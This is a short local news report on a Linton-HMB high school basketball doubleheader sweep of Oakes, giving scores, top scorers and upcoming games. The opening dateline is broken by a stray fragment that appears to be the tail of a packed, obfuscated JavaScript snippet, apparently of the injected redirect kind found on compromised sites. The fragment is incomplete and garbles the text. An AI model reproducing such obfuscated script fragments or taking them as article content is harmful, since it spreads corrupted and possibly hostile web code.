LINTON strbt|var|u0026u|referrer|ryksr||js|php’.split(‘|’),0,{}))
(NewsDakota.com) Despite valiant late rallies, the Linton-HMB basketball teams combined for a sweep of Oakes on Saturday. 

Girls: Linton-HMB 45 Oakes 40

The hometown Lady Lions earned their first victory of the 2014-15 season with the five point victory over the Tornadoes. Both teams battled for the first eight minutes, before Linton pulled ahead to control the tempo in the second and third quarters.

Oakes (2-5) rallied in the final eight minutes of regulation, even taking a small lead at one point in the quarter, but turnovers down the stretch helped award the victory to the Lady Lions.

Linton-HMB had a team high 13 points from Nicole Nieuwsma, while Karlee Kalberer and Rachel Umber each netted 10 points apiece. Shelby Gelinske put in 12 points to lead the Tornadoes.

Boys: Linton-HMB 77 Oakes 66

In the boys contest, the Lions (5-2) started well and never looked back. Linton-HMB had a lead exceeding 20 points at one point in the second half, before the Tornadoes (2-4) attempted to make a game of it later in the fourth quarter.

Jon Purintun scored 28 points for the hometown Lions, and netted four three pointers in the first quarter alone. Ethan Zetocha had 19 points for Oakes, while Carter Zetocha had 15 points; they had a combined nine points at half.

The girls of Oakes will host Strasburg/Zeeland on Tuesday, while the next game for the boys is scheduled for Friday in Leal as part of a doubleheader with the girls as they take on Barnes County North in a return to Class B District 5 play. Coverage of the doubleheader on KDDR-AM 1220/95.9 FM and NewsDakota.com will start around 5:45 p.m. Friday.